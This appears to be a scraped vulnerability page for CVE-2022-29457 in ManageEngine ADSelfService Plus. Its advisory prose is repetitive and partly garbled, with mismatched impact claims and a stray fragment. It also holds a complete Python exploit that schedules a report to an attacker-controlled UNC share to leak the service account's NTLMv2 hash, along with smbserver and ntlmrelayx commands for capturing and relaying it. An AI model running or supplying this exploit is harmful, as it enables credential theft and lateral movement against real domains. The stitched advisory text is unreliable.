This may allow attackers to determine the existence of a mailbox, which could lead to the assumption that a user has an unread message in their mailbox.

Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 allow NTLM Hash disclosure during certain storage-path configuration steps. This may allow attackers to determine the existence of a mailbox, which could lead to the assumption that a user has an unread message in their mailbox. Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 fail to properly enforce permissions in certain circumstances. If a user tries to access data that they do not have permissions to view, this may result in an information disclosure.

Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 fail to properly enforce permissions in certain circumstances. If a user tries to access data that they do not have permissions to view, this may result in an information disclosure. Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 fail to properly enforce permissions in certain circumstances. If a user tries to access data that they do not have permissions to view, this may result

CPE(rural) Object Model

If the CPE(rural) object model is used, an attacker may be able to cause the device to crash. This can lead to a denial of service condition.

Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 fail to properly enforce permissions in certain circumstances. If a user tries to access data that they do not have permissions to view, this may result in an information disclosure. Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 allow NTLM Hash disclosure during certain storage-path configuration steps. This may allow attackers to determine the existence of a mailbox, which could lead to the assumption that a user has an unread message in their mailbox. Zoho ManageEngine ADSelfService Plus before 6121, ADAuditPlus 7060, Exchange Reporter Plus 5701, and ADManagerPlus 7131 fail to properly enforce permissions in certain circumstances. If a user tries to access data that they do not have permissions to view, this may result in an information disclosure. Zoho ManageEngine ADSelfService Plus before 6121 and ADManagerPlus 7131 allow remote code execution by means of crafted input due to insufficient validation of user-supplied input during parsing of XML files.

Exploit

# Exploit Title: ManageEngine ADSelfService Plus Build 6118 - NTLMv2 Hash Exposure
# Exploit Author: Metin Yunus Kandemir
# Vendor Homepage: https://www.manageengine.com/
# Software Link: https://www.manageengine.com/products/self-service-password/download.html
# Details: https://docs.unsafe-inline.com/0day/multiple-manageengine-applications-critical-information-disclosure-vulnerability
# Version: ADSelfService Plus Build < 6121
# Tested against: Build 6118
# CVE: CVE-2022-29457

# !/usr/bin/python3
import argparse
import requests
import urllib3
import random
import sys

"""
1- 
a)Set up SMB server to capture NTMLv2 hash.
python3 smbserver.py share . -smb2support

b)For relaying to SMB:
python3 ntlmrelayx.py -smb2support -t smb://TARGET

c)For relaying to LDAP:
python3 ntlmrelayx.py -t ldaps://TARGET

2- Fire up the exploit.
You will obtain the NTLMv2 hash of user/computer account that runs the ADSelfService in five minutes.
"""

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def get_args():
    parser = argparse.ArgumentParser(
        epilog="Example: exploit.py -t https://Target/ -l Listener-IP -a adselfservice -d unsafe.local -u operator1 -p operator1")
    parser.add_argument('-d', '--domain', required=True, action='store', help='DNS name of the target domain. ')
    parser.add_argument('-a', '--auth', required=True, action='store', help='If you have credentials of the application user, type adselfservice. If you have credentials of the domain user, type domain')
    parser.add_argument('-u', '--user', required=True, action='store')
    parser.add_argument('-p', '--password', required=True, action='store')
    parser.add_argument('-t', '--target', required=True, action='store', help='Target url')
    parser.add_argument('-l', '--listener', required=True, action='store', help='Listener IP to capture NTLMv2 hash')
    args = parser.parse_args()
    return args


def scheduler(domain, auth, target, listener, user, password):
    try:
        with requests.Session() as s:
            gUrl = target
            getCsrf = s.get(url=gUrl, allow_redirects=False, verify=False)
            csrf = getCsrf.cookies['_zcsr_tmp']
            print("[*] Csrf token: %s" % getCsrf.cookies['_zcsr_tmp'])
    
            if auth.lower() == 'adselfservice':
                auth = "ADSelfService Plus Authentication"
            data = {
                "loginName": user,
                "domainName": auth,
                "j_username": user,
                "j_password": password,
                "AUTHRULE_NAME": "ADAuthenticator",
                "adscsrf": [csrf, csrf]
            }

            #Login
            url = target + "j_security_check"
            headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"}
            req = s.post(url, data=data, headers=headers, allow_redirects=True, verify=False)
            #Auth Check
            url2 = target + "webclient/index.html"
            req2 = s.get(url2, headers=headers, allow_redirects=False, verify=False)
            if req2.status_code == 200:
                print("[+] Authentication is successful.")
            elif req2.status_code == 302:
                print("[-] Login failed.")
                sys.exit(1)
            else:
                print("[-] Something went wrong")
                sys.exit(1)
                        
            dn = domain.split(".")
            r1 = random.randint(1, 1000)
        
            surl = target + 'ServletAPI/Reports/saveReportScheduler'
            data = {
                'SCHEDULE_ID':'0',
                'ADMIN_STATUS':'3',
                'SCHEDULE_NAME': 'enrollment' + str(r1),
                'DOMAINS': '["'+ domain +'"]',
                'DOMAIN_PROPS': '{"'+ domain +'":{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","DOMAIN_SELECTED_OUS_GROUPS":{"ou":[{"OBJECT_GUID":"{*}","DISTINGUISHED_NAME":"DC='+ dn[0] +',DC='+ dn[1] +'","NAME":"'+ domain +'"}]}}}',
                'SELECTED_REPORTS': '104,105',
                'SELECTED_REPORT_LIST': '[{"REPORT_CATEGORY_ID":"3","REPORT_LIST":[{"CATEGORY_ID":"3","REPORT_NAME":"adssp.reports.enroll_rep.enroll.heading","IS_EDIT":false,"SCHEDULE_ELEMENTS":[],"REPORT_ID":"104"},{"CATEGORY_ID":"3","REPORT_NAME":"adssp.common.text.non_enrolled_users","IS_EDIT":true,"SCHEDULE_ELEMENTS":[{"DEFAULT_VALUE":false,"size":"1","ELEMENT_VALUE":false,"uiText":"adssp_reports_enroll_rep_non_enroll_show_notified","name":"SHOW_NOTIFIED","id":"SHOW_NOTIFIED","TYPE":"checkbox","class":"grayfont fntFamily fntSize"}],"REPORT_ID":"105"}],"REPORT_CATEGORY_NAME":"adssp.xml.reportscategory.enrollment_reports"}]',
                'SCHEDULE_TYPE': 'hourly',
                'TIME_OF_DAY': '0',
                'MINS_OF_HOUR': '5',
                'EMAIL_ID': user +'@'+ domain,
                'NOTIFY_ADMIN': 'true',
                'NOTIFY_MANAGER': 'false',
                'STORAGE_PATH': '\\\\' + listener + '\\share',
                'FILE_FORMAT': 'HTML',
                'ATTACHMENT_TYPE': 'FILE',
                'ADMIN_MAIL_PRIORITY': 'Medium',
                'ADMIN_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_sub',
                'ADMIN_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_msg_html',
                'MANAGER_FILE_FORMAT': 'HTML',
                'MANAGER_ATTACHMENT_TYPE': 'FILE',
                'MANAGER_MAIL_SUBJECT': 'adssp.reports.schedule_reports.mail_settings_mgr_sub',
                'MANAGER_MAIL_CONTENT': 'adssp.reports.schedule_reports.mail_settings_mgr_msg_html',
                'adscsrf': csrf
                }
            sch = s.post(surl, data=data, headers=headers, allow_redirects=False, verify=False)
            if 'adssp.reports.schedule_reports.storage_path.unc_storage_path' in sch.text:
                print('[-] The target is patched!')
                sys.exit(1)
            if sch.status_code == 200:
                print("[+] The report is scheduled. The NTLMv2 hash will be captured in five minutes!")
            else:
                print("[-] Something went wrong. Please, try it manually!")
                sys.exit(1)
    except:
        print('[-] Connection error!')
    
def main():
    arg = get_args()
    domain = arg.domain
    auth = arg.auth
    user = arg.user
    password = arg.password
    target = arg.target
    listener = arg.listener
    scheduler(domain, auth, target, listener, user, password)


if __name__ == "__main__":
    main()

Timeline

Published on: 04/18/2022 20:15:00 UTC
Last modified on: 05/11/2022 20:15:00 UTC

References